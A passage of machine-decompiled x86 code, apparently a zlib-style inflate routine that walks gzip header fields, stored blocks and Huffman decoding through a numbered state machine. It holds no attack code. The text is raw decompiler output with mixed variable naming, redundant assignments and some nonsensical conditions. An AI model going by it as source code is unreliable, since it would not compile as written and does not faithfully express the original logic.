																 *((char*)(__esp + 0x22)) = __dl;
																 *(__esp + 0x23) = __bl;
																__ecx =  *(__edi + 0x18);
																__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 4);
																__edx =  *(__esp + 0x1c);
																 *(__edi + 0x18) = __eax;
															}
															__ebx = 0;
															__esi = 0;
															 *__edi = 3;
															goto L43;
														} else {
															L33:
															L34:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L36;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 3:
														L41:
														if(__esi >= 0x10) {
															L45:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																__ebx = __ebx & 0x000000ff;
																 *(__eax + 8) = __ebx & 0x000000ff;
																__ecx =  *(__edi + 0x20);
																__eax = __ebx;
																__eax = __ebx >> 8;
																 *( *(__edi + 0x20) + 0xc) = __eax;
															}
															if(( *(__edi + 0x10) & 0x00000200) != 0) {
																 *(__esp + 0x1c) = __bl;
																__ebx = __ebx >> 8;
																__edx = __esp + 0x20;
																 *(__esp + 0x21) = __bl;
																__eax =  *(__edi + 0x18);
																__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
																__edx =  *(__esp + 0x1c);
																 *(__edi + 0x18) = __eax;
															}
															__ebx = 0;
															__esi = 0;
															 *__edi = 4;
															goto L50;
														} else {
															L42:
															L43:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x10) {
																	continue;
																} else {
																	goto L45;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 4:
														L50:
														if(( *(__edi + 0x10) & 0x00000400) == 0) {
															L59:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 0x10) = 0;
															}
															goto L61;
														} else {
															L51:
															if(__esi >= 0x10) {
																L54:
																__eax =  *(__edi + 0x20);
																 *(__edi + 0x40) = __ebx;
																if(__eax != 0) {
																	 *(__eax + 0x14) = __ebx;
																}
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	 *(__esp + 0x1c) = __bl;
																	__ebx = __ebx >> 8;
																	__ecx = __esp + 0x20;
																	 *(__esp + 0x21) = __bl;
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																}
																__ebx = 0;
																__esi = 0;
																L61:
																 *__edi = 5;
																goto L62;
															} else {
																L52:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x10) {
																		continue;
																	} else {
																		goto L54;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 5:
														L62:
														if(( *(__edi + 0x10) & 0x00000400) == 0) {
															L75:
															 *(__edi + 0x40) = 0;
															 *__edi = 6;
															goto L76;
														} else {
															L63:
															__eax =  *(__edi + 0x40);
															 *(__esp + 0x14) = __eax;
															if(__eax > __edx) {
																__eax = __edx;
																 *(__esp + 0x14) = __edx;
															}
															if(__eax != 0) {
																__ecx =  *(__edi + 0x20);
																if(__ecx != 0) {
																	__ecx =  *(__ecx + 0x10);
																	 *(__esp + 0x34) = __ecx;
																	if(__ecx != 0) {
																		 *(__edi + 0x20) =  *( *(__edi + 0x20) + 0x14);
																		__ecx =  *( *(__edi + 0x20) + 0x14) -  *(__edi + 0x40);
																		__edx =  *(__edi + 0x20);
																		__edx =  *( *(__edi + 0x20) + 0x18);
																		 *(__esp + 0x20) = __ecx;
																		if(__ecx > __edx) {
																			__eax = __edx;
																		}
																		__edx =  *(__esp + 0x34);
																		__eax =  *(__esp + 0x24);
																		__edx =  *(__esp + 0x34) +  *(__esp + 0x24);
																		__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x34) +  *(__esp + 0x24), __ebp,  *(__esp + 0x24));
																		__eax =  *(__esp + 0x20);
																		__edx =  *(__esp + 0x1c);
																	}
																}
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	__ecx =  *(__esp + 0x14);
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																	__eax =  *(__esp + 0x20);
																}
																__edx = __edx - __eax;
																__ebp =  &(__ebp[__eax]);
																 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
																 *(__esp + 0x10) = __edx;
															}
															if( *(__edi + 0x40) != 0) {
																goto L303;
															} else {
																goto L75;
															}
														}
														goto L321;
													case 6:
														L76:
														if(( *(__edi + 0x10) & 0x00000800) == 0) {
															L89:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 0x1c) = 0;
															}
															goto L91;
														} else {
															L77:
															if(__edx == 0) {
																goto L303;
															} else {
																L78:
																__eax = 0;
																while(1) {
																	L79:
																	__ecx = __ebp[__eax] & 0x000000ff;
																	 *(__esp + 0x14) = __eax;
																	__eax =  *(__edi + 0x20);
																	 *(__esp + 0x20) = __ecx;
																	if(__eax != 0) {
																		__ecx =  *(__eax + 0x1c);
																		 *(__esp + 0x34) = __ecx;
																		if(__ecx != 0) {
																			__ecx =  *(__edi + 0x40);
																			if(__ecx <  *((intOrPtr*)(__eax + 0x20))) {
																				__edx =  *(__esp + 0x34);
																				 *((char*)( *(__esp + 0x34) + __ecx)) =  *(__esp + 0x20);
																				 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																				__edx =  *(__esp + 0x10);
																			}
																		}
																	}
																	if( *(__esp + 0x20) == 0) {
																		break;
																	}
																	L84:
																	__eax =  *(__esp + 0x14);
																	if(__eax < __edx) {
																		continue;
																	}
																	break;
																}
																L85:
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	__ecx =  *(__esp + 0x14);
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																}
																__eax =  *(__esp + 0x14);
																__edx = __edx - __eax;
																__ebp =  &(__ebp[__eax]);
																 *(__esp + 0x10) = __edx;
																if( *(__esp + 0x20) != 0) {
																	goto L303;
																} else {
																	L88:
																	L91:
																	 *(__edi + 0x40) = 0;
																	 *__edi = 7;
																	goto L92;
																}
															}
														}
														goto L321;
													case 7:
														L92:
														if(( *(__edi + 0x10) & 0x00001000) == 0) {
															L105:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 0x24) = 0;
															}
															goto L107;
														} else {
															L93:
															if(__edx == 0) {
																goto L303;
															} else {
																L94:
																__eax = 0;
																while(1) {
																	L95:
																	__ecx = __ebp[__eax] & 0x000000ff;
																	 *(__esp + 0x14) = __eax;
																	__eax =  *(__edi + 0x20);
																	 *(__esp + 0x20) = __ecx;
																	if(__eax != 0) {
																		__ecx =  *(__eax + 0x24);
																		 *(__esp + 0x34) = __ecx;
																		if(__ecx != 0) {
																			__ecx =  *(__edi + 0x40);
																			if(__ecx <  *((intOrPtr*)(__eax + 0x28))) {
																				__edx =  *(__esp + 0x34);
																				 *((char*)( *(__esp + 0x34) + __ecx)) =  *(__esp + 0x20);
																				 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																				__edx =  *(__esp + 0x10);
																			}
																		}
																	}
																	if( *(__esp + 0x20) == 0) {
																		break;
																	}
																	L100:
																	__eax =  *(__esp + 0x14);
																	if(__eax < __edx) {
																		continue;
																	}
																	break;
																}
																L101:
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	__ecx =  *(__esp + 0x14);
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																}
																__eax =  *(__esp + 0x14);
																__edx = __edx - __eax;
																__ebp =  &(__ebp[__eax]);
																 *(__esp + 0x10) = __edx;
																if( *(__esp + 0x20) != 0) {
																	goto L303;
																} else {
																	L104:
																	L107:
																	 *__edi = 8;
																	goto L108;
																}
															}
														}
														goto L321;
													case 8:
														L108:
														if(( *(__edi + 0x10) & 0x00000200) == 0) {
															L115:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__edi + 0x10) =  *(__edi + 0x10) >> 9;
																__ecx =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
																 *(__eax + 0x2c) =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
																__edx =  *(__edi + 0x20);
																 *( *(__edi + 0x20) + 0x30) = 1;
															}
															__eax = E00403080(0, 0, 0);
															__ecx =  *(__esp + 0x4c);
															__edx =  *(__esp + 0x1c);
															 *(__edi + 0x18) = __eax;
															 *( *(__esp + 0x4c) + 0x30) = __eax;
															 *__edi = 0xb;
															goto L295;
														} else {
															L109:
															if(__esi >= 0x10) {
																L112:
																__ecx =  *(__edi + 0x18) & 0x0000ffff;
																if(__ebx == ( *(__edi + 0x18) & 0x0000ffff)) {
																	L114:
																	__ebx = 0;
																	__esi = 0;
																	goto L115;
																} else {
																	L113:
																	__eax =  *(__esp + 0x40);
																	 *(__eax + 0x18) = 0x41d338;
																	goto L294;
																}
																goto L295;
															} else {
																L110:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x10) {
																		continue;
																	} else {
																		goto L112;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 9:
														L118:
														if(__esi >= 0x20) {
															L122:
															__ebx = __ebx & 0x0000ff00;
															__ebx = __ebx << 0x10;
															__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10);
															__ebx = __ebx >> 8;
															__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10) << 8;
															__eax = __ebx >> 0x00000008 & 0x0000ff00;
															__ecx = ((__ebx & 0x0000ff00) + (__ebx << 0x10) << 8) + (__ebx >> 0x00000008 & 0x0000ff00);
															__eax = __ecx + __ebx;
															__ecx =  *(__esp + 0x40);
															 *(__edi + 0x18) = __eax;
															 *( *(__esp + 0x40) + 0x30) = __eax;
															__ebx = 0;
															__esi = 0;
															 *__edi = 0xa;
															goto L123;
														} else {
															L119:
															L120:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L122;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 0xa:
														L123:
														if( *((intOrPtr*)(__edi + 0xc)) == 0) {
															L298:
															__eax =  *(__esp + 0x40);
															__ecx =  *(__esp + 0x24);
															 *(__eax + 0xc) =  *(__esp + 0x24);
															__ecx =  *(__esp + 0x18);
															 *__eax = __ebp;
															 *(__eax + 0x10) =  *(__esp + 0x18);
															 *(__eax + 4) = __edx;
															 *(__edi + 0x3c) = __esi;
															_pop(__esi);
															_pop(__ebp);
															 *(__edi + 0x38) = __ebx;
															_pop(__ebx);
															__eax = 2;
															_pop(__edi);
															__esp = __esp + 0x2c;
															return 2;
														} else {
															L124:
															_push(0);
															_push(0);
															_push(0);
															__eax = E004024A0();
															__edx =  *(__esp + 0x4c);
															 *(__edi + 0x18) = __eax;
															 *( *(__esp + 0x4c) + 0x30) = __eax;
															__edx =  *(__esp + 0x1c);
															__esp = __esp + 0xc;
															 *__edi = 0xb;
															goto L125;
														}
														goto L321;
													case 0xb:
														L125:
														if( *((intOrPtr*)(__esp + 0x44)) == 5) {
															goto L303;
														} else {
															goto L126;
														}
														goto L321;
													case 0xc:
														L126:
														if( *(__edi + 4) == 0) {
															L128:
															if(__esi >= 3) {
																L132:
																__ecx = __ebx;
																__ebx = __ebx >> 1;
																__eax = __ebx;
																__ecx = __ecx & 0x00000001;
																__eax = __ebx & 0x00000003;
																__esi = __esi - 1;
																 *(__edi + 4) = __ecx;
																if(__eax > 3) {
																	L138:
																	__ebx = __ebx >> 2;
																	__esi = __esi - 2;
																} else {
																	L133:
																	switch( *((intOrPtr*)(__eax * 4 +  &M00408838))) {
																		case 0:
																			L134:
																			__ebx = __ebx >> 2;
																			 *__edi = 0xd;
																			__esi = __esi - 2;
																			goto L295;
																		case 1:
																			L135:
																			__eax = __edi;
																			__eax = E00407290(__edi);
																			__ebx = __ebx >> 2;
																			 *__edi = 0x12;
																			__esi = __esi - 2;
																			goto L295;
																		case 2:
																			L136:
																			__ebx = __ebx >> 2;
																			 *__edi = 0xf;
																			__esi = __esi - 2;
																			goto L295;
																		case 3:
																			L137:
																			__eax =  *(__esp + 0x40);
																			 *(__eax + 0x18) = 0x41d338;
																			 *__edi = 0x1b;
																			goto L138;
																	}
																}
																goto L295;
															} else {
																L129:
																L130:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 3) {
																		continue;
																	} else {
																		goto L132;
																	}
																	goto L321;
																}
																goto L303;
															}
														} else {
															L127:
															__esi = __esi & 0x00000007;
															__ebx = __ebx >> __cl;
															__esi = __esi - (__esi & 0x00000007);
															 *__edi = 0x18;
															goto L295;
														}
														goto L321;
													case 0xd:
														L139:
														__esi = __esi & 0x00000007;
														__esi = __esi - (__esi & 0x00000007);
														__ebx = __ebx >> __cl;
														if(__esi >= 0x20) {
															L142:
															__ecx = __ebx;
															__eax = __ebx;
															__ecx =  !__ebx;
															__eax = __ebx & 0x0000ffff;
															__ecx =  !__ebx >> 0x10;
															if(__eax ==  !__ebx >> 0x10) {
																L144:
																__ebx = 0;
																 *(__edi + 0x40) = __eax;
																__esi = 0;
																 *__edi = 0xe;
																goto L145;
															} else {
																L143:
																__eax =  *(__esp + 0x40);
																 *(__eax + 0x18) = 0x41d338;
																goto L294;
															}
														} else {
															L140:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L142;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 0xe:
														L145:
														__eax =  *(__edi + 0x40);
														 *(__esp + 0x14) = __eax;
														if(__eax == 0) {
															goto L224;
														} else {
															L146:
															if(__eax > __edx) {
																__eax = __edx;
																 *(__esp + 0x14) = __edx;
															}
															__ecx =  *(__esp + 0x18);
															if(__eax > __ecx) {
																__eax = __ecx;
																 *(__esp + 0x14) = __eax;
															}
															if(__eax == 0) {
																goto L303;
															} else {
																L151:
																__ecx =  *(__esp + 0x14);
																__edx =  *(__esp + 0x24);
																__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x24), __ebp,  *(__esp + 0x14));
																__eax =  *(__esp + 0x20);
																 *(__esp + 0x1c) =  *(__esp + 0x1c) - __eax;
																 *(__esp + 0x24) =  *(__esp + 0x24) - __eax;
																 *(__esp + 0x30) =  *(__esp + 0x30) + __eax;
																__edx =  *(__esp + 0x1c);
																__ebp =  &(__ebp[__eax]);
																 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
																goto L295;
															}
														}
														goto L321;
													case 0xf:
														goto L0;
													case 0x10:
														goto L157;
													case 0x11:
														goto L168;
													case 0x12:
														L207:
														if(_t998 < 6 ||  *(_t1036 + 0x18) < 0x102) {
															L210:
															_t671 =  *(_t1018[0x13] + ((0x00000001 << _t1018[0x15]) - 0x00000001 & _t814) * 4);
															 *(_t1036 + 0x14) = _t671;
															if((_t671 >> 0x00000008 & 0x000000ff) <= _t1023) {
																L214:
																if(_t671 == 0 || (_t671 & 0x000000f0) != 0) {
																	L221:
																	_t864 = _t671 >> 0x00000008 & 0x000000ff;
																	_t814 = _t814 >> _t864;
																	_t1023 = _t1023 - _t864;
																	 *(_t1036 + 0x20) = _t864;
																	_t1018[0x10] = _t671 >> 0x10;
																	if(_t671 != 0) {
																		L223:
																		if((_t671 & 0x00000020) == 0) {
																			L225:
																			if((_t671 & 0x00000040) == 0) {
																				L227:
																				_t1018[0x12] = _t671 & 0xf;
																				 *_t1018 = 0x13;
																				goto L228;
																			} else {
																				L226:
																				( *(_t1036 + 0x40))[6] = 0x41d338;
																				goto L294;
																			}
																		} else {
																			L224:
																			 *_t1018 = 0xb;
																			goto L295;
																		}
																	} else {
																		L222:
																		 *_t1018 = 0x17;
																		goto L295;
																	}
																} else {
																	L216:
																	_t928 = _t671 >> 8;
																	 *(_t1036 + 0x34) = _t928;
																	 *(_t1036 + 0x20) = _t928 & 0x000000ff;
																	 *(_t1036 + 0x2c) = _t671;
																	_t738 =  *(_t1018[0x13] + ((((0x00000001 << (_t671 & 0x000000ff) +  *(_t1036 + 0x20)) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x14) >> 0x10)) * 4);
																	 *(_t1036 + 0x14) = _t738;
																	if((_t738 >> 0x00000008 & 0x000000ff) + ( *(_t1036 + 0x34) & 0x000000ff) <= _t1023) {
																		L220:
																		_t937 =  *(_t1036 + 0x2d) & 0x000000ff;
																		_t671 =  *(_t1036 + 0x14);
																		_t814 = _t814 >> _t937;
																		_t1023 = _t1023 - _t937;
																		goto L221;
																	} else {
																		L217:
																		L218:
																		while(_t998 != 0) {
																			_t743 = ( *_t1029 & 0x000000ff) << _t1023;
																			_t939 =  *(_t1036 + 0x2c);
																			_t998 = _t998 - 1;
																			_t1023 = _t1023 + 8;
																			_t814 = _t814 + _t743;
																			_t744 = _t939 & 0x000000ff;
																			 *(_t1036 + 0x20) = _t744;
																			_t1029 =  &(_t1029[1]);
																			 *(_t1036 + 0x10) = _t998;
																			 *(_t1036 + 0x14) = 1;
																			if(( *(_t1018[0x13] + ((((0x00000001 << (_t939 & 0x000000ff) + _t744) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x2e) & 0x0000ffff)) * 4) >> 0x00000008 & 0x000000ff) +  *(_t1036 + 0x20) > _t1023) {
																				continue;
																			} else {
																				goto L220;
																			}
																			goto L321;
																		}
																		goto L303;
																	}
																}
															} else {
																L211:
																L212:
																while(_t998 != 0) {
																	_t756 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t814 = _t814 + _t756;
																	_t1029 =  &(_t1029[1]);
																	 *(_t1036 + 0x10) = _t998;
																	_t671 =  *(_t1018[0x13] + ((0x00000001 << _t1018[0x15]) - 0x00000001 & _t814) * 4);
																	 *(_t1036 + 0x14) = 1;
																	if(0xad > _t1023) {
																		continue;
																	} else {
																		goto L214;
																	}
																	goto L321;
																}
																goto L303;
															}
														} else {
															L209:
															_t761 =  *(_t1036 + 0x40);
															_t761[4] =  *(_t1036 + 0x18);
															_t761[3] =  *(_t1036 + 0x24);
															_push( *(_t1036 + 0x28));
															 *_t761 = _t1029;
															_t761[1] =  *(_t1036 + 0x10);
															_push(_t761);
															_t1018[0xe] = _t814;
															_t1018[0xf] = _t1023;
															E00406CA0();
															_t763 =  *(_t1036 + 0x48);
															_t1029 =  *_t763;
															_t764 = _t763[1];
															_t814 = _t1018[0xe];
															_t1023 = _t1018[0xf];
															 *(_t1036 + 0x20) = _t763[4];
															_t1036 = _t1036 + 8;
															 *(_t1036 + 0x24) = _t763[3];
															 *(_t1036 + 0x10) = _t764;
															_t998 = _t764;
															goto L295;
														}
														goto L321;
													case 0x13:
														L228:
														_t672 = _t1018[0x12];
														if(_t672 == 0) {
															L234:
															 *_t1018 = 0x14;
															goto L235;
														} else {
															L229:
															if(_t1023 >= _t672) {
																L233:
																_t925 = _t1018[0x12];
																_t1018[0x10] = _t1018[0x10] + ((0x00000001 << _t925) - 0x00000001 & _t814);
																_t814 = _t814 >> _t925;
																_t1023 = _t1023 - _t925;
																goto L234;
															} else {
																L230:
																L231:
																while(_t998 != 0) {
																	_t729 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t1029 =  &(_t1029[1]);
																	_t814 = _t814 + _t729;
																	 *(_t1036 + 0x10) = _t998;
																	if(_t1023 < _t1018[0x12]) {
																		continue;
																	} else {
																		goto L233;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x14:
														L235:
														_t678 =  *((intOrPtr*)(_t1018[0x14] + ((0x00000001 << _t1018[0x16]) - 0x00000001 & _t814) * 4));
														 *(_t1036 + 0x14) = _t678;
														if((_t678 >> 0x00000008 & 0x000000ff) <= _t1023) {
															L239:
															if((_t678 & 0x000000f0) != 0) {
																L244:
																_t876 = _t678 >> 0x00000008 & 0x000000ff;
																_t814 = _t814 >> _t876;
																_t1023 = _t1023 - _t876;
																 *(_t1036 + 0x20) = _t876;
																if((_t678 & 0x00000040) == 0) {
																	L246:
																	_t1018[0x11] = _t678 >> 0x10;
																	_t1018[0x12] = _t678 & 0xf;
																	 *_t1018 = 0x15;
																	goto L247;
																} else {
																	L245:
																	( *(_t1036 + 0x40))[6] = 0x41d338;
																	goto L294;
																}
															} else {
																L240:
																_t902 = _t678 >> 8;
																 *(_t1036 + 0x34) = _t902;
																 *(_t1036 + 0x20) = _t902 & 0x000000ff;
																 *(_t1036 + 0x2c) = _t678;
																_t701 =  *(_t1018[0x14] + ((((0x00000001 << (_t678 & 0x000000ff) +  *(_t1036 + 0x20)) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x14) >> 0x10)) * 4);
																 *(_t1036 + 0x14) = _t701;
																if((_t701 >> 0x00000008 & 0x000000ff) + ( *(_t1036 + 0x34) & 0x000000ff) <= _t1023) {
																	L243:
																	_t911 =  *(_t1036 + 0x2d) & 0x000000ff;
																	_t678 =  *(_t1036 + 0x14);
																	_t814 = _t814 >> _t911;
																	_t1023 = _t1023 - _t911;
																	goto L244;
																} else {
																	L241:
																	while(_t998 != 0) {
																		_t706 = ( *_t1029 & 0x000000ff) << _t1023;
																		_t913 =  *(_t1036 + 0x2c);
																		_t998 = _t998 - 1;
																		_t1023 = _t1023 + 8;
																		_t814 = _t814 + _t706;
																		_t707 = _t913 & 0x000000ff;
																		 *(_t1036 + 0x20) = _t707;
																		_t1029 =  &(_t1029[1]);
																		 *(_t1036 + 0x10) = _t998;
																		 *(_t1036 + 0x14) = 1;
																		if(( *(_t1018[0x14] + ((((0x00000001 << (_t913 & 0x000000ff) + _t707) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x2e) & 0x0000ffff)) * 4) >> 0x00000008 & 0x000000ff) +  *(_t1036 + 0x20) > _t1023) {
																			continue;
																		} else {
																			goto L243;
																		}
																		goto L321;
																	}
																	goto L303;
																}
															}
														} else {
															L236:
															L237:
															while(_t998 != 0) {
																_t719 = ( *_t1029 & 0x000000ff) << _t1023;
																_t998 = _t998 - 1;
																_t1023 = _t1023 + 8;
																_t814 = _t814 + _t719;
																_t1029 =  &(_t1029[1]);
																 *(_t1036 + 0x10) = _t998;
																_t678 =  *(_t1018[0x14] + ((0x00000001 << _t1018[0x16]) - 0x00000001 & _t814) * 4);
																 *(_t1036 + 0x14) = 1;
																if(0xad > _t1023) {
																	continue;
																} else {
																	goto L239;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 0x15:
														L247:
														_t681 = _t1018[0x12];
														if(_t681 == 0) {
															L252:
															if(_t1018[0x11] <= _t1018[0xb] -  *(_t1036 + 0x18) +  *(_t1036 + 0x28)) {
																L254:
																 *_t1018 = 0x16;
																goto L255;
															} else {
																L253:
																( *(_t1036 + 0x40))[6] = 0x41d338;
																goto L294;
															}
														} else {
															L248:
															if(_t1023 >= _t681) {
																L251:
																_t899 = _t1018[0x12];
																_t1018[0x11] = _t1018[0x11] + ((0x00000001 << _t899) - 0x00000001 & _t814);
																_t814 = _t814 >> _t899;
																_t1023 = _t1023 - _t899;
																goto L252;
															} else {
																L249:
																while(_t998 != 0) {
																	_t692 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t1029 =  &(_t1029[1]);
																	_t814 = _t814 + _t692;
																	 *(_t1036 + 0x10) = _t998;
																	if(_t1023 < _t1018[0x12]) {
																		continue;
																	} else {
																		goto L251;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x16:
														L255:
														if( *(_t1036 + 0x18) == 0) {
															goto L303;
														} else {
															L256:
															_t883 =  *(_t1036 + 0x28) -  *(_t1036 + 0x18);
															_t682 = _t1018[0x11];
															if(_t682 <= _t883) {
																L262:
																_t683 = _t1018[0x10];
																 *(_t1036 + 0x2c) =  *(_t1036 + 0x24) - _t682;
																 *(_t1036 + 0x34) = _t683;
																goto L263;
															} else {
																L257:
																_t685 = _t682 - _t883;
																_t892 = _t1018[0xc];
																 *(_t1036 + 0x14) = _t685;
																if(_t685 <= _t892) {
																	_t895 = _t1018[0xd] - _t685 + _t1018[0xc];
																	_t683 =  *(_t1036 + 0x14);
																} else {
																	_t683 = _t685 - _t892;
																	 *(_t1036 + 0x14) = _t683;
																	_t895 = _t1018[0xd] + _t1018[0xa] - _t683;
																}
																 *(_t1036 + 0x2c) = _t895;
																_t896 = _t1018[0x10];
																 *(_t1036 + 0x34) = _t896;
																if(_t683 > _t896) {
																	L261:
																	_t683 = _t896;
																	L263:
																	 *(_t1036 + 0x14) = _t683;
																}
															}
															L264:
															_t886 =  *(_t1036 + 0x18);
															if(_t683 > _t886) {
																_t683 = _t886;
																 *(_t1036 + 0x14) = _t683;
															}
															 *(_t1036 + 0x18) = _t886 - _t683;
															_t684 =  *(_t1036 + 0x24);
															_t1018[0x10] =  *(_t1036 + 0x34) - _t683;
															do {
																L267:
																 *(_t1036 + 0x2c) =  *(_t1036 + 0x2c) + 1;
																 *_t684 =  *( *(_t1036 + 0x2c));
																_t684 =  &(_t684[1]);
																_t534 = _t1036 + 0x14;
																 *_t534 =  *(_t1036 + 0x14) - 1;
															} while ( *_t534 != 0);
															 *(_t1036 + 0x24) = _t684;
															if(_t1018[0x10] == 0) {
																 *_t1018 = 0x12;
															}
															goto L295;
														}
														goto L321;
													case 0x17:
														L270:
														if( *(__esp + 0x18) == 0) {
															goto L303;
														} else {
															L271:
															__eax =  *(__esp + 0x24);
															__cl =  *(__edi + 0x40);
															 *__eax = __cl;
															__eax = __eax + 1;
															 *(__esp + 0x18) =  *(__esp + 0x18) - 1;
															 *(__esp + 0x24) = __eax;
															 *__edi = 0x12;
															goto L295;
														}
														goto L321;
													case 0x18:
														L272:
														if( *((intOrPtr*)(__edi + 8)) == 0) {
															L286:
															 *__edi = 0x19;
															goto L287;
														} else {
															L273:
															if(__esi >= 0x20) {
																L276:
																__eax =  *(__esp + 0x28);
																__eax =  *(__esp + 0x28) -  *(__esp + 0x18);
																__ecx =  *(__esp + 0x40);
																 *((intOrPtr*)( *(__esp + 0x40) + 0x14)) =  *((intOrPtr*)( *(__esp + 0x40) + 0x14)) + __eax;
																 *((intOrPtr*)(__edi + 0x1c)) =  *((intOrPtr*)(__edi + 0x1c)) + __eax;
																 *(__esp + 0x28) = __eax;
																if(__eax != 0) {
																	__ecx =  *(__esp + 0x24);
																	__edx =  *(__edi + 0x18);
																	_push(__eax);
																	_push(__ecx);
																	_push( *(__edi + 0x18));
																	if( *(__edi + 0x10) == 0) {
																		__eax = E004024A0();
																	} else {
																		__eax = E00403080();
																	}
																	__ecx =  *(__esp + 0x4c);
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																	__esp = __esp + 0xc;
																	 *(__ecx + 0x30) = __eax;
																}
																__eax =  *(__esp + 0x18);
																 *(__esp + 0x28) =  *(__esp + 0x18);
																__eax = __ebx;
																if( *(__edi + 0x10) == 0) {
																	__eax = __eax & 0x0000ff00;
																	__ebx = __ebx << 0x10;
																	__eax = __eax + (__ebx << 0x10);
																	__ebx = __ebx >> 8;
																	__ecx = __ebx >> 0x00000008 & 0x0000ff00;
																	__eax = __eax << 8;
																	__eax = __eax + (__ebx >> 0x00000008 & 0x0000ff00);
																	__ebx = __ebx >> 0x18;
																	__eax = __eax + (__ebx >> 0x18);
																}
																if(__eax ==  *(__edi + 0x18)) {
																	L285:
																	__ebx = 0;
																	__esi = 0;
																	goto L286;
																} else {
																	L284:
